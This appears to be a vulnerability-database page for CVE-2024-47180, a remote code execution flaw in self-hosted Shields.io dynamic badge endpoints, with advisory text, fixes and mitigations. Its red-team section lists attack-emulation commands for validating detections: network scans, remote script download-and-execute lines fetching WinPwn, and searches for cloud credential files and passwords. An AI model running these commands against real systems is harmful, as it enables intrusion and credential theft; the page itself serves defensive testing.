CVE-2024-47180
Overview
This vulnerability is a remote code execution flaw caused by improper validation of JSONPath expressions in the Dynamic JSON/Toml/Yaml badge generation feature of Shields.io. The root cause lies in the use of the JSONPath library, which executes untrusted input without adequate sanitization. The affected component is the self-hosted Shields.io server instances running versions prior to server-2024-09-25, specifically the dynamic badge endpoints.
Vulnerability Description
Shields.io is a service for concise, consistent, and legible badges in SVG and raster format. Shields.io and users self-hosting their own instance of shields using version < `server-2024-09-25` are vulnerable to a remote execution vulnerability via the JSONPath library used by the Dynamic JSON/Toml/Yaml badges. This vulnerability would allow any user with access to make a request to a URL on the instance to the ability to execute code by crafting a malicious JSONPath expression. All users who self-host an instance are vulnerable. This problem was fixed in server-2024-09-25. Those who follow the tagged releases should update to `server-2024-09-25` or later. Those who follow the rolling tag on DockerHub, `docker pull shieldsio/shields:next` to update to the latest version. As a workaround, blocking access to the endpoints `/badge/dynamic/json`, `/badge/dynamic/toml`, and `/badge/dynamic/yaml` (e.g: via a firewall or reverse proxy in front of your instance) would prevent the exploitable endpoints from being accessed.
Impact
An attacker with network access to a vulnerable Shields.io instance can execute arbitrary code remotely by submitting malicious JSONPath expressions to the dynamic badge endpoints. No user interaction is required, but the attacker must have access to the server’s badge generation URLs. This can lead to full system compromise, data exposure, and service disruption. The CVSS vector indicates low attack complexity and no user interaction, with high confidentiality, integrity, and availability impact (CVSS 8.8).
Solution
Users should update Shields.io to version server-2024-09-25 or later as detailed in the official GitHub security advisory GHSA-rxvx-x284-4445 (https://github.com/badges/shields/security/advisories/GHSA-rxvx-x284-4445). For those using Docker, pulling the latest image with the rolling tag shieldsio/shields:next will apply the fix. As a temporary mitigation, blocking access to the endpoints /badge/dynamic/json, /badge/dynamic/toml, and /badge/dynamic/yaml via firewall or reverse proxy is recommended to prevent exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question stems from a remote code execution flaw associated with the JSONPath library utilized by a popular badge generation service. This service allows users to create dynamic badges in various formats, including SVG and raster. The core issue arises from the improper handling of user input when processing JSONPath expressions. Attackers can exploit this vulnerability by crafting malicious JSONPath queries that, when executed, can lead to arbitrary code execution on the server hosting the badge service. This situation is particularly concerning for users who self-host their instances, as they may inadvertently expose their systems to potential exploitation.
Attack vectors for this vulnerability are primarily centered around the ability of any user to make HTTP requests to the affected endpoints. By sending a specially crafted request to the dynamic JSON, TOML, or YAML badge generation endpoints, an attacker can manipulate the server into executing arbitrary code. This could range from executing commands to exfiltrating sensitive data or even taking full control of the server. Given that the service is often integrated into various applications and websites, the potential for exploitation is significant, especially if the service is used in environments with elevated privileges or access to sensitive resources.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on the badge service for branding or status indicators. A successful exploitation could lead to unauthorized access to sensitive data, disruption of services, or even a complete compromise of the server. The business risks associated with such an incident include reputational damage, financial loss due to downtime or data breaches, and potential legal ramifications stemming from non-compliance with data protection regulations. Organizations that fail to address this vulnerability may find themselves facing significant operational challenges and a loss of customer trust.
Detection and mitigation strategies are crucial for organizations to safeguard their systems against this vulnerability. Regularly updating the badge service to the latest version is the most effective way to mitigate the risk, as the developers have addressed the issue in subsequent releases. For those unable to update immediately, implementing a firewall or reverse proxy to block access to the vulnerable endpoints can serve as a temporary workaround. Additionally, organizations should conduct regular security assessments and code reviews to identify and remediate similar vulnerabilities in their applications. Monitoring logs for unusual activity related to badge generation requests can also help in detecting potential exploitation attempts early.
In conclusion, the remote code execution vulnerability associated with the badge generation service poses a significant threat to self-hosted instances. The ease of exploitation through crafted JSONPath expressions highlights the importance of secure coding practices and regular software updates. Organizations must prioritize the implementation of robust security measures to protect their systems and data from such vulnerabilities, ensuring that they remain resilient in the face of evolving cyber threats.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-47180 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/badges/shields/security/advisories/GHSA-rxvx-x284-4445 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/badges/shields/issues/10553 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/badges/shields/pull/10551 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/badges/shields/commit/ec1b6c8daccda075403c1688ac02603f7aaa50b2 |